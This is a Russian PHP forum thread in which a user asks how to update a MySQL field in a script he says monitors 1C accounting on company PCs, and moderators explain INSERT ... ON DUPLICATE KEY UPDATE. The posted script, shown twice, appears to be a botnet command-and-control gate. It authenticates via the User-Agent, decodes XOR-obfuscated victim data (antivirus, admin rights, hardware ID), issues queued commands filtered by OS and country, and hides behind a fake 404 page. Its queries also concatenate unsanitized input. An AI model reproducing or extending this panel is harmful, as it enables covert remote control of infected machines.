За последние 24 часа нас посетили 15750 программистов и 1666 роботов. Сейчас ищет 821 программист ...

Обновление значения в бд

Тема в разделе "MySQL", создана пользователем imblaze, 11 сен 2015.

  1. imblaze

    imblaze Новичок

    С нами с:
    11 сен 2015
    Сообщения:
    8
    Симпатии:
    0
    имею в компании несколько компьютеров, нужно проверять работу 1с бухгалтерии на каждой машинке постоянно. скрипт приема инфы от чекера:
    Код (PHP):
    1. <?php    
    2.     include_once('includes/config.php');
    3.     include_once('includes/xor.php');
    4.     include_once('includes/hexdecode.php');
    5.     
    6.     if ($_SERVER['HTTP_USER_AGENT'] == htmlentities($accesspwd)) {
    7.         if ($accesspwd == htmlentities($_POST["key"])) {
    8.             include("includes/GeoIP.inc");
    9.     
    10.             $ip          = $_SERVER['REMOTE_ADDR'];
    11.               $gi          = geoip_open("includes/GeoIP.dat", GEOIP_STANDARD);
    12.               $countrycode = geoip_country_code_by_addr($gi, $ip);
    13.             $country     = geoip_country_name_by_addr($gi, $ip);
    14.             if ($countrycode == NULL) {
    15.                 $countrycode = "XX";
    16.             }
    17.             if ($country == NULL) {
    18.                 $country = "Unknown";
    19.             }
    20.             geoip_close($gi);
    21.     
    22.             $time        = time();
    23.             $string      = $_POST["string"];
    24.             $string      = hextostr($string);
    25.             $string      = sXOR($string, $accesspwd);
    26.             $string      = htmlentities($string);
    27.             
    28.             $array = explode("::", $string);
    29.             
    30.             $hwid        = $array[0];
    31.             $so          = $array[1];
    32.             $userpc      = $array[2];
    33.             $ram         = $array[3];
    34.             $av          = $array[4];
    35.             $usb          = $array[5];
    36.             $admin          = $array[6];
    37.             $pc_cpu      = $array[7];
    38.             $pc_gpu      = $array[8];
    39.             $1cproc      = $array[9];
    40.             $status      = "Online";
    41.             
    42.             if (mysql_num_rows(mysql_query("SELECT * FROM company WHERE hwid = '$hwid'")) < 1) {
    43.                 mysql_query("INSERT INTO company (time, ip, hwid, country, countrycode, so, userpc, ram, av, status, usb, admin, pc_cpu, pc_gpu, 1cproc) VALUES ('$time', '$ip', '$hwid', '$country', '$countrycode', '$so', '$userpc', '$ram', '$av', '$status', '$usb', '$admin', '$pc_cpu', '$pc_gpu', '$1cproc')");
    44.             } else {
    45.                 mysql_query("UPDATE company SET time='$time' WHERE hwid='$hwid'");
    46.                 mysql_query("UPDATE company SET status='Online' WHERE hwid='$hwid'");
    47.             }
    48.             
    49.             $soList = array('8', '7', 'vista', 'xp', 'unkn');
    50.             foreach($soList as $soLi){
    51.                 if(strpos(strtolower($so), $soLi) != false){
    52.                     $soSel = $soLi;
    53.                     break;
    54.                 }
    55.             }
    56.             $countrylower = strtolower($country);
    57.             
    58.             $result = mysql_query("SELECT * FROM cmd WHERE id NOT IN (SELECT id FROM history WHERE hwid = '$hwid') AND LOWER(os) LIKE '%$soSel%' OR os = 'All' AND LOWER(country) LIKE '%$countrylower%' OR country = 'All';");
    59.             $row    = mysql_fetch_array($result);
    60.                 
    61.             if (!mysql_num_rows(mysql_query("SELECT * FROM history WHERE hwid = '$hwid' && id = '$row[id]';"))) {
    62.                 echo bin2hex($row['cmd']);
    63.                 
    64.                 mysql_query("INSERT INTO history (id, hwid) VALUES ($row[id], '$hwid') ");
    65.                 mysql_query("UPDATE cmd SET done = done + 1 WHERE id = $row[id]");
    66.             }
    67.             mysql_query("DELETE FROM cmd WHERE done >= amount");
    68.         
    69.         } else {
    70.             header('HTTP/1.0 404 Not Found');
    71.             echo '<!DOCTYPE HTML PUBLIC "-IETFDTD HTML 2.0EN">'.PHP_EOL;
    72.             echo '<html><head>'.PHP_EOL;
    73.             echo '<title>404 Not Found</title>'.PHP_EOL;
    74.             echo '</head><body>'.PHP_EOL;
    75.             echo '<h1>Not Found</h1>'.PHP_EOL;
    76.             echo '<p>The requested URL ' . $_SERVER['REQUEST_URI'] . ' was not found on this server.</p>'.PHP_EOL;
    77.             echo '<p>Additionally, a 404 Not Found'.PHP_EOL;
    78.             echo 'error was encountered while trying to use an ErrorDocument to handle the request.</p>'.PHP_EOL;
    79.             echo '</body></html>'.PHP_EOL;
    80.             exit();
    81.         }
    82.     } else {
    83.         header('HTTP/1.0 404 Not Found');
    84.         echo '<!DOCTYPE HTML PUBLIC "-IETFDTD HTML 2.0EN">'.PHP_EOL;
    85.         echo '<html><head>'.PHP_EOL;
    86.         echo '<title>404 Not Found</title>'.PHP_EOL;
    87.         echo '</head><body>'.PHP_EOL;
    88.         echo '<h1>Not Found</h1>'.PHP_EOL;
    89.         echo '<p>The requested URL ' . $_SERVER['REQUEST_URI'] . ' was not found on this server.</p>'.PHP_EOL;
    90.         echo '<p>Additionally, a 404 Not Found'.PHP_EOL;
    91.         echo 'error was encountered while trying to use an ErrorDocument to handle the request.</p>'.PHP_EOL;
    92.         echo '</body></html>'.PHP_EOL;
    93.         exit();
    94.     }
    95. ?>
    нужно, чтобы значение 1cproc обновлялось, как это сделать?
    программа стучит в php каждые 5 минут.

    PHP, JavaScript, SQL и другой код пишите внутри тегов
    Код ( (Unknown Language)):
    1. [b]php][/b]Тут код[b][/[/b][b]code][/b][/color]
     
  2. denis01

    denis01 Суперстар
    Команда форума Модератор

    С нами с:
    9 дек 2014
    Сообщения:
    12.227
    Симпатии:
    1.714
    Адрес:
    Молдова, г.Кишинёв
    Делать update.

    1. Программа передаёт в PHP данные о себе, предположу что идентифицировать компьютер как уникальный можно по $hwid
    2. Делаем проверку: есть ли $hwid в базе, и если есть делаем UPDATE, если нету, делаем INSERT
    3. В таблице базы данных сделай hwid уникальным и можно использовать вот это https://dev.mysql.com/doc/refman/5.0/en/insert-on-duplicate.html
     
  3. imblaze

    imblaze Новичок

    С нами с:
    11 сен 2015
    Сообщения:
    8
    Симпатии:
    0
    hwid сам по себе уникальный. тобишь мне нужно написать, если hwid существует в бд, обновить значение 1cproc? как это может выглядеть? с php столкнулся впервые.
     
  4. denis01

    denis01 Суперстар
    Команда форума Модератор

    С нами с:
    9 дек 2014
    Сообщения:
    12.227
    Симпатии:
    1.714
    Адрес:
    Молдова, г.Кишинёв
    это можно сделать с помощью mysql, сделай поле hwid уникальным и потом

    это один запрос
    Код (PHP):
    1. INSERT INTO table (a,b,c) VALUES (1,2,3)
    2.   ON DUPLICATE KEY UPDATE c=c+1; 
    если hwid нету, то будет вставлена новая строка, а если он уже есть в базе, то сделай обновление для 1cproc
     
  5. imblaze

    imblaze Новичок

    С нами с:
    11 сен 2015
    Сообщения:
    8
    Симпатии:
    0
    как это должно выглядеть в моем примере, у меня что-то не получается, никогда не работал с мускулом, только при настройке сервера ла2, но то другая история.
     
  6. denis01

    denis01 Суперстар
    Команда форума Модератор

    С нами с:
    9 дек 2014
    Сообщения:
    12.227
    Симпатии:
    1.714
    Адрес:
    Молдова, г.Кишинёв
    Код (PHP):
    1. INSERT INTO company (time, ip, hwid, country, countrycode, so, userpc, ram, av, status, usb, admin, pc_cpu, pc_gpu, 1cproc) VALUES ('$time', '$ip', '$hwid', '$country', '$countrycode', '$so', '$userpc', '$ram', '$av', '$status', '$usb', '$admin', '$pc_cpu', '$pc_gpu', '$1cproc')  ON DUPLICATE KEY UPDATE hwid=$hwid; 
    hwid в схеме базы должна быть unique
     
  7. imblaze

    imblaze Новичок

    С нами с:
    11 сен 2015
    Сообщения:
    8
    Симпатии:
    0
    прописал вместо
    Код (PHP):
    1. mysql_query("INSERT INTO company (time, ip, hwid, country, countrycode, so, userpc, ram, av, status, usb, admin, pc_cpu, pc_gpu, 1cproc) VALUES ('$time', '$ip', '$hwid', '$country', '$countrycode', '$so', '$userpc', '$ram', '$av', '$status', '$usb', '$admin', '$pc_cpu', '$pc_gpu', '$1cproc')");
    ваш пример
    Код (PHP):
    1. mysql_query("INSERT INTO company (time, ip, hwid, country, countrycode, so, userpc, ram, av, status, usb, admin, pc_cpu, pc_gpu, 1cproc) VALUES ('$time', '$ip', '$hwid', '$country', '$countrycode', '$so', '$userpc', '$ram', '$av', '$status', '$usb', '$admin', '$pc_cpu', '$pc_gpu', '$1cproc')  ON DUPLICATE KEY UPDATE hwid=$hwid;");
    но не обновляет значение
    и так тоже не обновляет значение
    Код (PHP):
    1. if (mysql_num_rows(mysql_query("SELECT * FROM company WHERE hwid = '$hwid'")) < 1) {
    2.                 mysql_query("INSERT INTO company (time, ip, hwid, country, countrycode, so, userpc, ram, av, status, usb, admin, pc_cpu, pc_gpu, 1cproc) VALUES ('$time', '$ip', '$hwid', '$country', '$countrycode', '$so', '$userpc', '$ram', '$av', '$status', '$usb', '$admin', '$pc_cpu', '$pc_gpu', '$1cproc')");
    3.             } else {
    4.                 mysql_query("UPDATE company SET time='$time' WHERE hwid='$hwid'");
    5.                 mysql_query("UPDATE company SET 1cproc='$1cproc' WHERE hwid='$hwid'");
    6.                 mysql_query("UPDATE company SET status='Online' WHERE hwid='$hwid'");
    7.             }  
     
  8. denis01

    denis01 Суперстар
    Команда форума Модератор

    С нами с:
    9 дек 2014
    Сообщения:
    12.227
    Симпатии:
    1.714
    Адрес:
    Молдова, г.Кишинёв
    imblaze сделай экспорт/dump схемы таблицы company и выложи сюда, на основе него попробую написать работающий пример
     
  9. imblaze

    imblaze Новичок

    С нами с:
    11 сен 2015
    Сообщения:
    8
    Симпатии:
    0
    https://www.sendspace.com/file/57h8t7
    вот дамп таблиц, не знал как на форум залить.
     
  10. denis01

    denis01 Суперстар
    Команда форума Модератор

    С нами с:
    9 дек 2014
    Сообщения:
    12.227
    Симпатии:
    1.714
    Адрес:
    Молдова, г.Кишинёв
    Код (PHP):
    1. -- Делаем VARCHAR чтобы можно было сделать UNIQUE
    2. ALTER TABLE `company` CHANGE `hwid` `hwid` VARCHAR(255) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;
    3.  
    4. -- Делаем поле UNIQUE
    5. ALTER TABLE `company` ADD UNIQUE( `hwid`);
    6.  
    7. -- Вставка или обновление при дубли hwid в одном запросе
    8. INSERT INTO `test2`.`company` (`id`, `hwid`, `time`, `ip`, `country`, `countrycode`, `so`, `userpc`, `ram`, `1cproc`, `av`, `status`, `usb`, `admin`, `pc_cpu`, `pc_gpu`) VALUES (NULL, '1', '1', '1', '1', '1', '1', '1', '1', '1', '1', '1', 'False', 'False', '1', '1') ON DUPLICATE KEY UPDATE `status`= 5; 
     
  11. romach

    romach Старожил

    С нами с:
    26 окт 2013
    Сообщения:
    2.904
    Симпатии:
    719
    http://sqlfiddle.com/
     
  12. imblaze

    imblaze Новичок

    С нами с:
    11 сен 2015
    Сообщения:
    8
    Симпатии:
    0
    сделал так, но теперь вообще не кидает в бд
    Код (PHP):
    1. <?php    
    2.     include_once('includes/config.php');
    3.     include_once('includes/xor.php');
    4.     include_once('includes/hexdecode.php');
    5.     
    6.     if ($_SERVER['HTTP_USER_AGENT'] == htmlentities($accesspwd)) {
    7.         if ($accesspwd == htmlentities($_POST["key"])) {
    8.             include("includes/GeoIP.inc");
    9.     
    10.             $ip          = $_SERVER['REMOTE_ADDR'];
    11.               $gi          = geoip_open("includes/GeoIP.dat", GEOIP_STANDARD);
    12.               $countrycode = geoip_country_code_by_addr($gi, $ip);
    13.             $country     = geoip_country_name_by_addr($gi, $ip);
    14.             if ($countrycode == NULL) {
    15.                 $countrycode = "XX";
    16.             }
    17.             if ($country == NULL) {
    18.                 $country = "Unknown";
    19.             }
    20.             geoip_close($gi);
    21.     
    22.             $time        = time();
    23.             $string      = $_POST["string"];
    24.             $string      = hextostr($string);
    25.             $string      = sXOR($string, $accesspwd);
    26.             $string      = htmlentities($string);
    27.             
    28.             $array = explode("::", $string);
    29.             
    30.             $hwid        = $array[0];
    31.             $so          = $array[1];
    32.             $userpc      = $array[2];
    33.             $ram         = $array[3];
    34.             $av          = $array[4];
    35.             $usb          = $array[5];
    36.             $admin          = $array[6];
    37.             $pc_cpu      = $array[7];
    38.             $pc_gpu      = $array[8];
    39.             $1cproc      = $array[9];
    40.             $status      = "Online";
    41.             
    42.             if (mysql_num_rows(mysql_query("SELECT * FROM company WHERE hwid = '$hwid'")) < 1) {
    43.                 mysql_query("ALTER TABLE `company` CHANGE `hwid` `hwid` VARCHAR(255) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;");
    44.                 mysql_query("ALTER TABLE `company` ADD UNIQUE( `hwid`);");
    45.                 mysql_query("INSERT INTO `company` (`id`, `hwid`, `time`, `ip`, `country`, `countrycode`, `so`, `userpc`, `ram`, `1cproc`, `av`, `status`, `usb`, `admin`, `pc_cpu`, `pc_gpu`) VALUES (NULL, '1', '1', '1', '1', '1', '1', '1', '1', '1', '1', '1', 'False', 'False', '1', '1') ON DUPLICATE KEY UPDATE `status`= 5;");
    46.             } else {
    47.                 mysql_query("UPDATE company SET time='$time' WHERE hwid='$hwid'");
    48.                 mysql_query("UPDATE company SET status='Online' WHERE hwid='$hwid'");
    49.             }
    50.             
    51.             $soList = array('8', '7', 'vista', 'xp', 'unkn');
    52.             foreach($soList as $soLi){
    53.                 if(strpos(strtolower($so), $soLi) != false){
    54.                     $soSel = $soLi;
    55.                     break;
    56.                 }
    57.             }
    58.             $countrylower = strtolower($country);
    59.             
    60.             $result = mysql_query("SELECT * FROM cmd WHERE id NOT IN (SELECT id FROM history WHERE hwid = '$hwid') AND LOWER(os) LIKE '%$soSel%' OR os = 'All' AND LOWER(country) LIKE '%$countrylower%' OR country = 'All';");
    61.             $row    = mysql_fetch_array($result);
    62.                 
    63.             if (!mysql_num_rows(mysql_query("SELECT * FROM history WHERE hwid = '$hwid' && id = '$row[id]';"))) {
    64.                 echo bin2hex($row['cmd']);
    65.                 
    66.                 mysql_query("INSERT INTO history (id, hwid) VALUES ($row[id], '$hwid') ");
    67.                 mysql_query("UPDATE cmd SET done = done + 1 WHERE id = $row[id]");
    68.             }
    69.             mysql_query("DELETE FROM cmd WHERE done >= amount");
    70.         
    71.         } else {
    72.             header('HTTP/1.0 404 Not Found');
    73.             echo '<!DOCTYPE HTML PUBLIC "-IETFDTD HTML 2.0EN">'.PHP_EOL;
    74.             echo '<html><head>'.PHP_EOL;
    75.             echo '<title>404 Not Found</title>'.PHP_EOL;
    76.             echo '</head><body>'.PHP_EOL;
    77.             echo '<h1>Not Found</h1>'.PHP_EOL;
    78.             echo '<p>The requested URL ' . $_SERVER['REQUEST_URI'] . ' was not found on this server.</p>'.PHP_EOL;
    79.             echo '<p>Additionally, a 404 Not Found'.PHP_EOL;
    80.             echo 'error was encountered while trying to use an ErrorDocument to handle the request.</p>'.PHP_EOL;
    81.             echo '</body></html>'.PHP_EOL;
    82.             exit();
    83.         }
    84.     } else {
    85.         header('HTTP/1.0 404 Not Found');
    86.         echo '<!DOCTYPE HTML PUBLIC "-IETFDTD HTML 2.0EN">'.PHP_EOL;
    87.         echo '<html><head>'.PHP_EOL;
    88.         echo '<title>404 Not Found</title>'.PHP_EOL;
    89.         echo '</head><body>'.PHP_EOL;
    90.         echo '<h1>Not Found</h1>'.PHP_EOL;
    91.         echo '<p>The requested URL ' . $_SERVER['REQUEST_URI'] . ' was not found on this server.</p>'.PHP_EOL;
    92.         echo '<p>Additionally, a 404 Not Found'.PHP_EOL;
    93.         echo 'error was encountered while trying to use an ErrorDocument to handle the request.</p>'.PHP_EOL;
    94.         echo '</body></html>'.PHP_EOL;
    95.         exit();
    96.     }
    97. ?>
     
  13. denis01

    denis01 Суперстар
    Команда форума Модератор

    С нами с:
    9 дек 2014
    Сообщения:
    12.227
    Симпатии:
    1.714
    Адрес:
    Молдова, г.Кишинёв
    -- Делаем VARCHAR чтобы можно было сделать UNIQUE
    и
    -- Делаем поле UNIQUE
    нужно сделать один раз ручками в phpmyadmin например.
    Это чтобы изменить схему таблицы и уже потом используй INSERT, перед тем как писать PHP потренируйся в phpmyadmin, так ты будешь уверен что всё работает.

    И отладку можно сделать если что-то не работает http://phpfaq.ru/debug
     
  14. imblaze

    imblaze Новичок

    С нами с:
    11 сен 2015
    Сообщения:
    8
    Симпатии:
    0
    не понимаю, может я что-то не так делаю. не работает после правок. исходная версия работает, но не обновляет значение процесса.
     
  15. artoodetoo

    artoodetoo Суперстар
    Команда форума Модератор

    С нами с:
    11 июн 2010
    Сообщения:
    11.131
    Симпатии:
    1.250
    Адрес:
    там-сям
    да уж наверняка! старайся, чо. ты понял как работает INSERT ON DUPLICATE KEY UPDATE ? когда поймешь, дальше не будет никаких сложностей.

    подсказка: когда INSERT не получился из-за нарушения уникальности, в части UPDATE должно обновляться … что? подумай. почитай. спроси.
     
  16. imblaze

    imblaze Новичок

    С нами с:
    11 сен 2015
    Сообщения:
    8
    Симпатии:
    0
    разобрался, теперь всё в норме. с клиентской частью малость проблема сейчас. при запуске прога собирает инфу, потом скидывает ее к php, и дальше просто стучит теми-же данными для обновления времени.